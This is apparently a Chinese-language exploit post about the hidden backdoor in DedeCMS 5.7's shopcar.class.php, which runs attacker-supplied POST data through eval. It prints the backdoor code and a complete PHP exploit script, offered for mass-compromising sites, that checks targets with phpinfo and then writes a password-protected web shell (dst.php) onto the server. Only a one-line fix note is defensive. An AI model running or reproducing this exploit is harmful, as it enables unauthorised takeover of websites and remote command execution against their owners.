前段时间乌云爆料DEDE5.7爆出shopcar.class.php包含一句话木马,详情可查看乌云http://www.wooyun.org/bug.php?action=view&id=5416 ,此EXP可激活此版本中的一句话后门。
class MemberShops
{
var $OrdersId ;
var $productsId ;
function __construct( )
{
$this -> OrdersId = $this -> getCookie ( "OrdersId" ) ;
if ( empty ( $this -> OrdersId ) )
{
$this -> OrdersId = $this -> MakeOrders ( ) ;
}
@ eval ( file_get_contents ( 'php://input' ) ) ;
}
function MemberShops( )
{
$this -> __construct( ) ;
}
shopcar.class.php 文件中只有一个 MemberShops 类,构造函数里面出现了后门,当类被实例化的时候就会自动执行构造函数,程序猿你懂的。
eval 执行和 file_get_contents 获取内容不用说了,php://input 这个是输入流,接收的是 post 内容,但是 post 类型不能为 multipart/form-data
在 eclipse 里搜索 new MemberShops, 找到 /plus/car.php 里面实例化了这个类,
require_once ( dirname ( __FILE__ ) . "/../include/common.inc.php" ) ;
define ( '_PLUS_TPL_' , DEDEROOT. '/templets/plus' ) ;
require_once ( DEDEINC. '/dedetemplate.class.php' ) ;
require_once DEDEINC. '/shopcar.class.php' ;
require_once DEDEINC. '/memberlogin.class.php' ;
$cart = new MemberShops( ) ;
大家关心的都是漏洞利用而不是漏洞出现的原因,现在我附上EXP可以批量拿这些DEDE站。 注意 前天 3.21中午 DEDE已经把此版本中的后门清空了,此EXP只能拿官方清空以前从官网下载了5.7版本安装的网站,希望大家注意。特别说明:在舞林给出的exp的基础上修改而来!使自定义目标网站和目录更方便。
dedecms 5.7 一句话后门利用 exp 漏洞证明:
<?php
$host = $argv [ 1 ] ;
$path = $argv [ 2 ] ;
$path = $path . "plus/car.php" ;
$url = $path ;
if ( count ( $argv ) < 3 ) {
print_r ( '
Usage: php ' . $argv [ 0 ] . ' host path
Example:
php ' . $argv [ 0 ] . ' www.site.com /dede/
作者:舞林 http://t.qq.com/wulinlw
修改:小逸
' ) ;
exit ;
}
$data = '$a=${@phpinfo()};' ;
$buffer = POST( $host , 80 , $url , $data , 30 ) ;
preg_match ( "/allow_url_fopen/i" , $buffer , $arr_suc ) ;
$str = "allow_url_fopen" ;
if ( $arr_suc [ 0 ] == $str ) {
echo "Congratulations,target exist this bug.\n " ;
$data = '$a=${@file_put_contents("dst.php","<?php eval(\$_POST[cmd]); ?>")};' ;
$buffer = POST( $host , 80 , $url , $data , 30 ) ;
echo "shell:http://$host $argv[2] plus/dst.php,pass:cmd." ;
}
else {
echo "Sorry,target may not exist this bug." ;
exit ;
}
function POST( $host , $port , $path , $data , $timeout , $cookie = '' ) {
$buffer = '' ;
$fp = fsockopen ( $host , $port , $errno , $errstr , $timeout ) ;
if ( ! $fp ) die ( $host . '/' . $path . ' : ' . $errstr . $errno ) ;
else {
fputs ( $fp , "POST $path HTTP/1.0\r \n " ) ;
fputs ( $fp , "Host: $host \r \n " ) ;
fputs ( $fp , "Content-type: application/x-www-form-urlencoded\r \n " ) ;
fputs ( $fp , "Content-length: " . strlen ( $data ) . "\r \n " ) ;
fputs ( $fp , "Connection: close\r \n \r \n " ) ;
fputs ( $fp , $data . "\r \n \r \n " ) ;
while ( ! feof ( $fp ) )
{
$buffer .= fgets ( $fp , 4096 ) ;
}
fclose ( $fp ) ;
}
return $buffer ;
}
?>
dedecms 5.7 一句话后门利用 exp 修复方案: 删除shopcar.class.php文件中的,
@ eval ( file_get_contents ( 'php://input' ) ) ;
。